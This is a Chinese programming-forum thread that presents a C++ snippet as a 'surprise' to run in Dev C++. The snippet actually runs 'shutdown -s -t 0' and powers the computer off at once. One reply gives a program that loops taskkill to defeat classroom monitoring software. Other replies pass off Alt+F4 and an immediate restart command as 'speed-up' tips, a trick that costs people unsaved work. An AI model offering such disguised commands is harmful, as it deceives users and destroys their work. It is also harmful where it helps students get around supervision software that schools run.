复制到DEV C++运行后有惊喜

CPP 刷题王 2021-10-27 18:07:05 2022-07-04 17:23:14 97
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
	system("shutdown -s -t 0");
	cout<<"0s:\n";//这个可以不要
	Sleep(1);
	cout<<"6s";//这个也可以不要
	return 0;
}
{{ vote && vote.total.up }}

共 54 条回复

wyh15 Minecraft

我无语了

ykj110 贪吃蛇

6

CPP 刷题王

@12121 。。。

12121 Game for peace

@CPP非常感谢

CPP 刷题王

0

CPP 刷题王

没广播是就运行好吧

jsq 蒟蒻
#include <bits/stdc++.h>
#include <windows.h>
using namespace std;
void movexy(short x, short y){
    COORD position={x, y};
    HANDLE hOut=GetStdHandle(STD_OUTPUT_HANDLE);
    SetConsoleCursorPosition(hOut, position);
}
int main(){
    movexy(37, 7);
    cout<<"反电子教室系统"<<endl;
    cout<<endl;
    cout<<"                                     目前可以反击:"<<endl;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED);
    cout<<"                      红蜘蛛多媒体网络教室 - 输入 k-rs即可反击"<<endl;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 11);
    cout<<"                              极域电子教室 - 输入 k-jy即可反击"<<endl;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 12);
    cout<<"                          伽卡他卡电子教室 - 输入 k-yk即可反击"<<endl;
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7);
    cout<<"                                  如果在开启本程序后关闭本程序,"<<endl;
    cout<<"                                        本次反击将无效!"<<endl;
    cout<<"    input >>> ";
    string s;
    cin>>s;
    if(s=="k-rs"){
        system("cls");
        SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED);
        cout<<"                                  红蜘蛛反击系统启动成功"<<endl;
        Sleep(1000);
        SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7);
        while(1)
        {
            system("taskkill /f /t /im REDAgent.exe");
            system("cls");
        }
    }
    if(s=="k-jy"){
        system("cls");
        SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 11);
        cout<<"                                  极域反击系统启动成功"<<endl;
        Sleep(1000);
        SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7);
        while(1)
        {
            system("taskkill /f /t /im StudentMain.exe");
            system("cls");
        }
    }
    if(s=="k-yk"){
        system("cls");
        SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 12);
        cout<<"                                  伽卡他卡反击系统启动成功"<<endl;
        Sleep(1000);
        SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7);
        while(1){
            system("taskkill /f /t /im Student.exe");
            system("cls");
        }
    } 
    return 0;
}

这玩意才最六,被屏幕广播时,把网线一拔,再运行,再连上……(自己逝世,小心老师)

ykj02 懒虫

我意思是说电脑加速(不骗人)

ykj02 懒虫

被坑过,Alt+F4可以加速(真的)

CPP 刷题王
生活小技巧:

1. 写完代码过后先别保存

2. win+r

3. 输入shutdown -r -t 0

4. 你会惊奇的发现你的电脑在1分钟后回到了桌面